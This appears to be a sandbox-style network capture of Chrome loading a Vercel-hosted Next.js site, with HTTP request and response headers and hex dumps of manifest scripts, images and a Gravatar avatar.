2025-03-13 17:12:28 UTC	131	IN	Data Raw: 65 78 5f 69 6e 70 75 74 5f 5f 34 42 39 56 37 22 2c 62 75 74 74 6f 6e 3a 22 49 6e 64 65 78 5f 62 75 74 74 6f 6e 5f 5f 51 52 31 43 4d 22 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4f 28 30 2c 5b 37 37 34 2c 31 38 36 2c 38 38 38 2c 31 37 39 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 65 2e 73 3d 35 35 35 37 29 7d 29 2c 5f 4e 5f 45 3d 65 2e 4f 28 29 7d 5d 29 3b Data Ascii: ex_input__4B9V7",button:"Index_button__QR1CM"}}},function(e){e.O(0,[774,186,888,179],function(){return e(e.s=5557)}),_N_E=e.O()}]);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49755	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:28 UTC	582	OUT	GET /_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:28 UTC	617	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 7073 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_buildManifest.js" Content-Length: 427 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 17:12:28 GMT Etag: "a92a1c5e3c1ed80f4d4bf04b357a22e4" Last-Modified: Thu, 13 Mar 2025 15:14:35 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js X-Vercel-Cache: HIT X-Vercel-Id: cle1::lxgk8-1741885948699-662b1a87effb Connection: close
2025-03-13 17:12:28 UTC	427	IN	Data Raw: 73 65 6c 66 2e 5f 5f 42 55 49 4c 44 5f 4d 41 4e 49 46 45 53 54 3d 7b 5f 5f 72 65 77 72 69 74 65 73 3a 7b 62 65 66 6f 72 65 46 69 6c 65 73 3a 5b 5d 2c 61 66 74 65 72 46 69 6c 65 73 3a 5b 5d 2c 66 61 6c 6c 62 61 63 6b 3a 5b 5d 7d 2c 22 2f 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 31 38 36 2d 65 34 30 31 37 31 37 64 39 65 38 62 38 34 32 62 2e 6a 73 22 2c 22 73 74 61 74 69 63 2f 63 73 73 2f 31 39 64 30 39 61 36 31 31 33 61 66 61 30 30 37 2e 63 73 73 22 2c 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 69 6e 64 65 78 2d 64 36 33 31 38 63 38 62 35 35 39 38 38 61 36 30 2e 6a 73 22 5d 2c 22 2f 5f 65 72 72 6f 72 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 5f 65 72 72 6f 72 2d 33 39 38 36 64 64 35 38 33 34 66 Data Ascii: self.__BUILD_MANIFEST={__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":["static/chunks/186-e401717d9e8b842b.js","static/css/19d09a6113afa007.css","static/chunks/pages/index-d6318c8b55988a60.js"],"/_error":["static/chunks/pages/_error-3986dd5834f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49756	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:28 UTC	580	OUT	GET /_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:28 UTC	612	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 8097 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_ssgManifest.js" Content-Length: 77 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 17:12:28 GMT Etag: "b6652df95db52feb4daf4eca35380933" Last-Modified: Thu, 13 Mar 2025 14:57:31 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js X-Vercel-Cache: HIT X-Vercel-Id: cle1::pnpk6-1741885948753-a7a32d21e1f4 Connection: close
2025-03-13 17:12:28 UTC	77	IN	Data Raw: 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 3d 6e 65 77 20 53 65 74 2c 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 5f 43 42 26 26 73 65 6c 66 2e 5f 5f 53 53 47 5f 4d 41 4e 49 46 45 53 54 5f 43 42 28 29 3b Data Ascii: self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49757	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:28 UTC	641	OUT	GET /background.jpg HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:29 UTC	550	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 0 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="background.jpg" Content-Length: 114870 Content-Type: image/jpeg Date: Thu, 13 Mar 2025 17:12:28 GMT Etag: "45068f0ed4f904b59752fcaa6d8d3e7e" Last-Modified: Thu, 13 Mar 2025 17:12:28 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /background.jpg X-Vercel-Cache: HIT X-Vercel-Id: cle1::mvz2v-1741885948819-ca6b119f4d24 Connection: close
2025-03-13 17:12:29 UTC	2372	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff e1 00 22 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 01 01 12 00 03 00 00 00 01 00 01 00 00 00 00 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 04 0a 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 Data Ascii: JFIFxx"ExifMM*CC"
2025-03-13 17:12:29 UTC	1005	IN	Data Raw: a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
2025-03-13 17:12:29 UTC	4744	IN	Data Raw: 3b db 0b 84 9e da e1 1b ee ba 3a 16 56 5f f6 96 b4 23 af 17 fd 81 75 8b 5f 12 7e cf f7 7a 85 85 d5 be a1 a7 ea 9e 34 f1 75 fd 95 e5 bc ab 24 17 90 4b e2 4d 4d e2 95 1d 7e 57 8d e3 65 75 65 f9 59 59 59 6b da 94 ee aa 00 a2 8a 28 00 5d cb 42 ee dd 5f 9d bf b7 27 ec 5f e0 2f 14 7e de 9a 56 b7 e3 6d 2b 4b f1 84 df 14 2e ac 74 8d 2e 3d 23 52 ba b6 f1 8f 84 ee bc 86 8a 2b fb 7b 75 9b ec 97 1a 7c 0d 68 f7 0e d3 c0 cc be 6c ee cc e9 02 c0 dc cf ed 41 fb 05 e9 3f 11 bf 69 4f 0e f8 6f c6 7a a6 83 af 7c 63 f1 35 aa 6a f7 5f 12 fc 49 15 d6 8b 67 f6 74 9d 2c 61 b0 d1 34 eb 7b 94 82 7d 42 06 f2 a6 65 b9 69 55 59 e2 dc ae 97 4b 1c 0b de 03 f4 e2 8a 28 a6 07 93 7e db db 66 fd 98 fc 49 bd be 56 6b 5f fd 2c 82 bc 33 e1 bf c6 2f 03 78 93 f6 6a b5 f0 37 8b 35 5b 8d 12 e3 49 Data Ascii: ;:V_#u_~z4u$KMM~WeueYYYk(]B_'_/~Vm+K.t.=#R+{u\|hlA?iOoz\|c5j_Igt,a4{}BeiUYK(~fIVk_,3/xj75[I
2025-03-13 17:12:29 UTC	5930	IN	Data Raw: 77 fa f5 f6 97 6f aa 6b 67 c3 d1 5a 5f 68 b7 f6 da af f6 af d9 5e f1 2c 1f 4f 78 56 e5 2e 65 82 2d f1 44 f1 2c 93 f9 b0 79 4a ed 3c 4a e0 1e b5 45 79 37 8a bf 6d 6f 87 be 0b f1 25 ae 8b 75 7d e2 69 bc 47 79 a4 59 78 85 34 2b 0f 09 6a f7 da c2 e9 f7 4d 3a 45 70 f6 30 da 3d ca 46 b2 42 e8 fb d1 7c 89 1a 24 97 63 4b 12 bd cf 01 7e d8 7f 0e be 2c 78 c2 cf 47 f0 ef 88 7f b6 1b 54 de ba 6e a9 6f 61 70 da 1e b4 e8 8c ef 15 8e a7 e5 7d 86 f6 54 54 95 9a 28 25 79 17 ec b3 ee 55 f2 25 d8 7b a0 7a 6d 14 51 40 05 14 57 8c 7c 7b f8 81 f1 13 fe 1a 23 c0 fe 05 f0 1e b5 e0 dd 07 fb 7b c3 9a ee bd 7f 7b af e8 17 5a c7 fc 78 5c 69 30 24 51 24 37 d6 bb 77 7f 68 bb 33 33 37 dc 5f 96 80 3d 9e 8a f9 ff 00 43 fd bc bc 33 e0 7d 63 50 f0 67 c4 2b cf b3 7c 44 d0 f5 1b ad 20 da 68 Data Ascii: wokgZ_h^,OxV.e-D,yJ<JEy7mo%u}iGyYx4+jM:Ep0=FB\|$cK~,xGTnoap}TT(%yU%{zmQ@W\|{#{{Zx\i0$Q$7wh337_=C3}cPg+\|D h
2025-03-13 17:12:29 UTC	7116	IN	Data Raw: 6d ff 00 da 1e 0f db fc 43 ed 97 1f fc 66 b1 95 3a 2e 5c d1 63 f7 8f 99 fc 27 67 26 9f e1 bd 3e de 4f b6 34 90 db c5 13 0b c9 56 5b 95 da ab fe b5 97 e5 69 7f bc cb fc 55 a9 e6 49 ff 00 3c ff 00 f1 ea fa 23 fe 1d 93 f1 0b 6f fc 84 3c 1e bf f6 f5 71 ff 00 c6 68 8f fe 09 97 f1 13 fe 82 5e 0f ff 00 c0 ab 8f fe 33 5b fb 68 77 33 3e 73 fb 44 96 fa 7b 21 fb d5 d7 fc 0b 87 67 c7 0f 03 7c df 37 fc 24 1a 7f fe 94 25 7a dc 9f f0 4c bf 88 b7 2a db 75 4f 07 af fd bd 5c 7f f1 9a da f8 73 ff 00 04 e6 f1 f7 85 7e 28 78 77 56 bc d4 fc 2a d6 5a 3e ad 69 7b 3a c5 71 33 48 c9 14 aa ec ab ba 15 f9 b6 af f7 a9 4a b4 39 77 2f 53 ed 98 ff 00 d5 ad 7c 9d ff 00 05 c4 f8 77 e2 1f 8b 1f f0 4b bf 8a 3e 1f f0 ae 87 ad 78 9f 5e d4 3f b2 be cf a6 69 56 73 df 5d 5c 6c d5 ec 5d f6 44 8a Data Ascii: mCf:.\c'g&>O4V[iUI<#o<qh^3[hw3>sD{!g\|7$%zLuO\s~(xwVZ>i{:q3HJ9w/S\|wK>x^?iVs]\l]D
2025-03-13 17:12:29 UTC	8302	IN	Data Raw: 95 36 b2 b7 cb b7 f8 6b c9 2c be 36 7c 40 fd b6 3c 11 e2 ef 03 f8 17 c1 fe 05 d7 b5 0b cd 22 e2 de f3 fb 3f c7 56 b7 32 58 a4 fb 91 65 74 f2 97 73 6e 6a bf 27 fc 1d 51 f0 57 cb 5f f8 a1 7e 2a 33 7f 17 fa 05 87 ff 00 26 57 37 e0 7f f8 39 23 f6 6b f8 5b 75 aa 4f e1 8f 83 be 36 f0 fc 9a f4 ff 00 6a d4 a4 d3 b4 1d 2e d6 4b e9 9b 77 ef 65 68 ae 57 7c 9f 31 f9 9b e6 f9 ab 68 e2 2d 1b 26 3e 53 f4 13 f6 13 f0 af 8e 3c 03 fb 2f f8 63 c3 de 3e d1 f4 fd 1f c4 3e 1f b4 4d 39 92 d2 f5 6e a3 9a 24 5d a9 2a b2 aa ff 00 df 35 ea 57 5a 1e 9f 79 aa 5a ea 37 16 76 72 5f 69 e9 2c 56 f7 12 44 ad 2d ba cb b7 cd 55 6f bc aa db 57 77 f7 b6 ad 7e 65 7f c4 55 9f 06 23 6f 9b c0 7f 15 36 ff 00 d7 9d 87 ff 00 25 d3 a3 ff 00 83 a9 3e 09 f9 9f 37 80 fe 2a 7e 16 76 1f fc 97 59 7b 45 fc Data Ascii: 6k,6\|@<"?V2Xetsnj'QW_~3&W79#k[uO6j.KwehW\|1h-&>S</c>>M9n$]5WZyZ7vr_i,VD-UoWw~eU#o6%>7*~vY{E
2025-03-13 17:12:29 UTC	6676	IN	Data Raw: 85 7c 5f 71 7b 6b e2 3f 0b ba cb 16 a9 13 27 95 2a 3a f9 d1 7f 14 48 e8 ff 00 37 de 7a f1 2f 0a fc 6c b6 f0 af ed 6d a1 f8 fa ea e7 5a f1 05 8e 8f e2 1b 7d 52 59 6f 65 dd 7d 7d 14 52 ab fc e5 99 bf 78 ca bf de ac 65 4e 0a c3 f7 8f 4a fd af 3f 66 3b 7f 0b fc 4c f1 d5 87 87 7c 0b a6 d8 78 7b c0 f3 da c4 f7 9a 3f 88 57 50 8e 14 9f 76 c7 b9 66 96 5d d2 3e c7 f9 53 66 d6 fb cb f3 2d 66 fe d2 9f 04 fc 5d 1f c6 4f 1f 7c 39 f0 3d c5 f4 3f 0e fc 17 a9 2e db 2b fd 6f c8 d3 2c dd fe eb 33 4c eb 1f 98 df 37 fb 5f 7a a5 d4 3f 6c cf 0f de 69 1f 1a ad 57 4f d5 37 7c 4c bf b1 bc d3 8e d4 ff 00 47 f2 1a 76 65 97 e6 f9 7f d6 af dd dd 5d 1e ad ff 00 05 08 d1 fc 59 ad 7c 68 85 af bc 69 e1 3b 1f 88 97 f6 5a a6 97 a9 68 cc bf 6c d3 e6 b6 76 f9 25 8b cd 89 5e 37 8e 59 7f 8b e5 Data Ascii: \|_q{k?'*:H7z/lmZ}RYoe}}RxeNJ?f;L\|x{?WPvf]>Sf-f]O\|9=?.+o,3L7_z?liWO7\|LGve]Y\|hi;Zhlv%^7Y
2025-03-13 17:12:29 UTC	10674	IN	Data Raw: 00 c3 47 61 ff 00 cd 45 1f f0 fc 7f 82 9f f4 32 7c 50 ff 00 c3 47 61 ff 00 cd 45 1f bb ec 1c c7 eb 57 fc 3d 13 c7 df f4 07 f0 9f fe 02 dc 7f f1 ea 3f e1 e8 9e 3e ff 00 a0 3f 84 ff 00 f0 16 e3 ff 00 8f 57 e4 af fc 3f 1f e0 a7 fd 0c 9f 14 3f f0 d1 d8 7f f3 51 47 fc 3f 1f e0 a7 fd 0c 9f 14 3f f0 d1 d8 7f f3 51 47 ee fb 07 31 fa d5 ff 00 0f 44 f1 f7 fd 01 fc 27 ff 00 80 b7 1f fc 7a 8f f8 7a 27 8f bf e8 0f e1 3f fc 05 b8 ff 00 e3 d5 f9 21 77 ff 00 05 c5 f8 36 96 d2 1b 7f 10 7c 48 92 6d bc 2c 9f 0a 2c 95 49 ff 00 7b fe 12 76 ff 00 d0 6a 5f f8 7e 3f c1 4f fa 19 3e 28 7f e1 a3 b0 ff 00 e6 a2 8f dd f6 0e 63 f5 ab fe 1e 89 e3 ef fa 03 f8 4f ff 00 01 6e 3f f8 f5 1f f0 f4 4f 1f 7f d0 1f c2 7f f8 0b 71 ff 00 c7 ab f2 57 fe 1f 8f f0 53 fe 86 4f 8a 1f f8 68 ec 3f f9 a8 Data Ascii: GaE2\|PGaEW=?>?W??QG??QG1D'zz'?!w6\|Hm,,I{vj_~?O>(cOn?OqWSOh?
2025-03-13 17:12:29 UTC	11860	IN	Data Raw: 14 51 59 90 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 a9 f7 c7 d6 92 95 3e f8 fa d0 04 f4 d9 7f d5 9a 75 36 5f f5 66 b7 96 c4 2d cf cd 2f f8 2f 5f fc 15 b2 c3 f6 48 d0 35 af 81 71 78 1e f3 c4 5a af c4 ef 01 df ad ce a8 fa 9a d9 5b 69 10 df 2d cd 8c 2e 89 e5 c8 d7 0e 1a 39 dd 90 f9 40 05 8c 07 62 e7 67 e7 a7 fc 12 ab fe 0b 9f ff 00 0e ca fd 9e 35 9f 02 7f c2 ad ff 00 84 d8 6a de 22 9b 5e fb 77 fc 24 9f d9 be 57 99 6d 6b 07 93 e5 fd 96 6c e3 ec db b7 6e 19 df 8c 0c 64 f6 9f f0 75 77 fc a4 1f c1 df f6 4f 2c 7f f4 e5 aa 57 c5 ff 00 f0 4f 6f 1b 7c 2f f8 73 fb 67 7c 3f d6 be 32 e9 27 5b f8 6b 63 a9 17 d6 ad 0d ab 5d c6 7f 76 e2 09 65 85 48 32 c3 15 c1 8a 59 23 01 fc c8 e3 75 f2 e5 Data Ascii: QYQEQEQEQEQEQEQEQEQEQE>u6_f-//_H5qxZ[i-.9@bg5j"^w$WmklnduwO,WOo\|/sg\|?2'[kc]veH2Y#u
2025-03-13 17:12:29 UTC	10234	IN	Data Raw: 1e bc f0 df 88 74 1f 18 5c 58 58 5e 32 5c df 7f a4 37 d9 a4 65 f9 19 9b 6e ef 97 fd ea f2 30 fd 51 b4 8d 23 e3 07 8b 76 df 13 ea 0d bb bf fc 23 d5 91 e1 3f 89 9e 1d f8 53 63 ac f8 87 c4 da d5 9e 93 a4 db ec 49 75 0b d6 58 23 de f2 ed 5d df dd dc df c3 59 ed f1 12 3d 2b e2 75 d7 83 ee be 22 69 f6 be 24 d3 ec d6 f6 5b 3b 9b c7 87 cb 89 b6 ed 6d ec 9b 5b ef 0f 97 76 ea f2 7f db d3 47 d2 af 3f 63 3f 1f c6 f7 9e 1d f1 65 d5 c4 09 70 96 f6 9a f4 50 49 1b a4 bb da e3 fd bf 2b ef ec fe 2d bb 6b 69 5b 91 ff 00 5f a0 75 3e af f8 67 f1 63 c3 7f 19 bc 37 fd b1 e1 5d 6e c7 5e d2 fc d6 83 ed 36 52 ac 91 f9 ab f7 97 77 fc 09 6b c4 bf e0 a8 2b bb e0 1e 8f ff 00 63 04 3f fa 4b 75 5c 4f fc 10 e3 fe 4c a3 fe e6 0b af fd 02 0a ed bf e0 a8 8d b7 e0 0e 8f ff 00 63 0c 3f fa 4f Data Ascii: t\XX^2\7en0Q#v#?ScIuX#]Y=+u"i$[;m[vG?c?epPI+-ki[_u>gc7]n^6Rwk+c?Ku\OLc?O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49758	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:28 UTC	601	OUT	GET /favicon.ico HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:29 UTC	558	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 5322 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="favicon.ico" Content-Length: 819 Content-Type: image/vnd.microsoft.icon Date: Thu, 13 Mar 2025 17:12:28 GMT Etag: "4b5febb3fb4517a225620b5fe05016d2" Last-Modified: Thu, 13 Mar 2025 15:43:46 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /favicon.ico X-Vercel-Cache: HIT X-Vercel-Id: cle1::zsg8f-1741885948868-d6b54216195e Connection: close
2025-03-13 17:12:29 UTC	819	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 06 00 00 00 e2 98 77 38 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 02 e5 49 44 41 54 78 9c ed 9d 31 88 13 41 14 86 07 05 41 ac 2c bc cc 0b 2a 62 a9 a5 96 96 ea e5 cd 72 d7 05 3b ed 6c 6d 84 03 1b af 14 3b 4b c1 42 2c 6d 2d 2d 6c 2c 0f 44 d0 52 24 21 ef ed 55 16 6a 23 2a 2b 13 b1 09 77 87 b3 99 64 67 67 fe 0f b6 49 f5 b2 ff ce 37 4b 08 ff 18 03 00 00 00 00 00 00 00 19 31 d9 3e 37 14 a6 7b ca b4 27 8e 54 98 5e 6a 45 77 f7 ab 8d 8b 5d cf 96 2d d3 f1 d9 93 75 65 c7 e2 e8 95 38 fa a9 8e 9a 83 2e 04 12 91 e6 a1 39 26 23 ba a6 4c 4f 85 e9 eb 61 37 fd a8 0b 81 b4 a0 de 1c 5c 16 a6 5d 71 f4 b9 cd 4d 47 20 4b 7a 3d f6 4d 47 20 4b 7a 1d 81 24 e6 75 5d e3 65 72 a1 5e Data Ascii: PNGIHDR``w8pHYsIDATx1AA,br;lm;KB,m--l,DR$!Uj#+wdggI7K1>7{'T^jEw]-ue8.9&#LOa7\]qMG Kz=MG Kz$u]er^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49760	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:30 UTC	420	OUT	GET /_next/static/css/19d09a6113afa007.css HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49772	192.0.73.2	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:49 UTC	671	OUT	GET /avatar/1c2c8ad38cd59179ba1f928f49bdd550?d=identicon HTTP/1.1 Host: www.gravatar.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:49 UTC	452	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 13 Mar 2025 17:12:49 GMT Content-Type: image/png Content-Length: 2651 Connection: close Last-Modified: Wed, 11 Jan 1984 08:00:00 GMT Link: <https://gravatar.com/avatar/1c2c8ad38cd59179ba1f928f49bdd550?d=identicon>; rel="canonical" Access-Control-Allow-Origin: * Accept-Ranges: bytes Expires: Thu, 13 Mar 2025 17:17:49 GMT Cache-Control: max-age=300 X-nc: MISS dfw 3 Alt-Svc: h3=":443"; ma=86400
2025-03-13 17:12:49 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 50 08 06 00 00 00 8e 11 f2 ad 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 0a 0d 49 44 41 54 78 9c ed 9c 6d 50 54 d7 19 c7 ff b0 99 5d 20 30 4d 79 d1 11 b3 c2 16 0b 71 5c c7 5d 83 1a 4c c2 58 29 a9 71 ea a4 93 4c 22 60 88 2b f6 2d a2 d4 26 25 54 71 3a 38 51 a6 0c 83 93 c9 84 62 cd f0 92 a1 02 35 b5 ad 69 87 0f 08 c1 f7 ce b4 29 8b 05 c7 c1 89 85 74 03 b3 29 60 8c 38 5a 76 c2 dc 7e 30 67 bd 7b ef 3d f7 9c fb a2 d9 5d fd cf f0 c1 bb cf 9e 7b ef cf e7 9e 7b ce f3 3f 7b 62 16 a4 3a 05 98 20 97 db 89 d7 2b 5f 85 cf 37 81 3d 55 07 cc 68 d2 74 d5 d6 55 c3 6e 4f 47 43 7d 13 06 bd c3 a6 b4 f9 90 d1 06 08 b8 82 c2 fc 90 e3 e1 06 b1 b6 ae 1a 9e b2 22 00 40 41 61 3e fa 4e 9c Data Ascii: PNGIHDRPPpHYs+IDATxmPT] 0Myq\]LX)qL"`+-&%Tq:8Qb5i)t)`8Zv~0g{=]{{?{b: +_7=UhtUnOGC}"@Aa>N
